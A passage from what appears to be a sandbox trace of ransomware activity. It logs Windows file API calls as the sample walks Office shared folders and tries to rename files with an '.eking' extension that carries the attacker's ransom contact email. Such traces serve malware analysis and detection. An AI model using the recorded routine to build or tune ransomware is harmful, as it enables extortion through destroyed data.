Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.703] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=196069) returned 1 [0176.703] CloseHandle (hObject=0x1f0) returned 1 [0176.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx")) returned 0x20 [0176.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx")) returned 0x20 [0176.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.703] SetEvent (hEvent=0x174) returned 1 [0176.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.704] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=916632) returned 1 [0176.704] CloseHandle (hObject=0x1f0) returned 1 [0176.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx")) returned 0x20 [0176.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx")) returned 0x20 [0176.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.705] SetEvent (hEvent=0x174) returned 1 [0176.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.707] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10080) returned 1 [0176.707] CloseHandle (hObject=0x1f0) returned 1 [0176.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0176.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0176.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.708] SetEvent (hEvent=0x174) returned 1 [0176.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.711] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=18264) returned 1 [0176.711] CloseHandle (hObject=0x1f0) returned 1 [0176.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0176.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0176.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.712] SetEvent (hEvent=0x174) returned 1 [0176.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.714] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=716) returned 1 [0176.714] CloseHandle (hObject=0x1e8) returned 1 [0176.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0176.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0176.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.714] SetEvent (hEvent=0x174) returned 1 [0176.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.716] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=99672) returned 1 [0176.716] CloseHandle (hObject=0x1e8) returned 1 [0176.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0176.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0176.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.716] SetEvent (hEvent=0x174) returned 1 [0176.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.720] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=387408) returned 1 [0176.720] CloseHandle (hObject=0x1e8) returned 1 [0176.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0176.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0176.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.721] SetEvent (hEvent=0x174) returned 1 [0176.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.722] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=47976) returned 1 [0176.722] CloseHandle (hObject=0x1e8) returned 1 [0176.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0176.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0176.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.722] SetEvent (hEvent=0x174) returned 1 [0176.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.725] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=184648) returned 1 [0176.725] CloseHandle (hObject=0x1e8) returned 1 [0176.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0176.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0176.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.725] SetEvent (hEvent=0x174) returned 1 [0176.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.726] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=16208) returned 1 [0176.726] CloseHandle (hObject=0x1e8) returned 1 [0176.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0176.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0176.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.727] SetEvent (hEvent=0x174) returned 1 [0176.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.728] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=21840) returned 1 [0176.728] CloseHandle (hObject=0x1e8) returned 1 [0176.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0176.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0176.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.729] SetEvent (hEvent=0x174) returned 1 [0176.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.731] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10632) returned 1 [0176.731] CloseHandle (hObject=0x1e8) returned 1 [0176.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll")) returned 0x20 [0176.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll")) returned 0x20 [0176.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.732] SetEvent (hEvent=0x174) returned 1 [0176.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.733] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=44936) returned 1 [0176.733] CloseHandle (hObject=0x1e8) returned 1 [0176.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll")) returned 0x20 [0176.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll")) returned 0x20 [0176.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.733] SetEvent (hEvent=0x174) returned 1 [0176.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.735] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=169637) returned 1 [0176.735] CloseHandle (hObject=0x1e8) returned 1 [0176.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0176.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0176.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.736] SetEvent (hEvent=0x174) returned 1 [0176.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.737] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2522488) returned 1 [0176.737] CloseHandle (hObject=0x1e8) returned 1 [0176.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll")) returned 0x20 [0176.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0176.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common 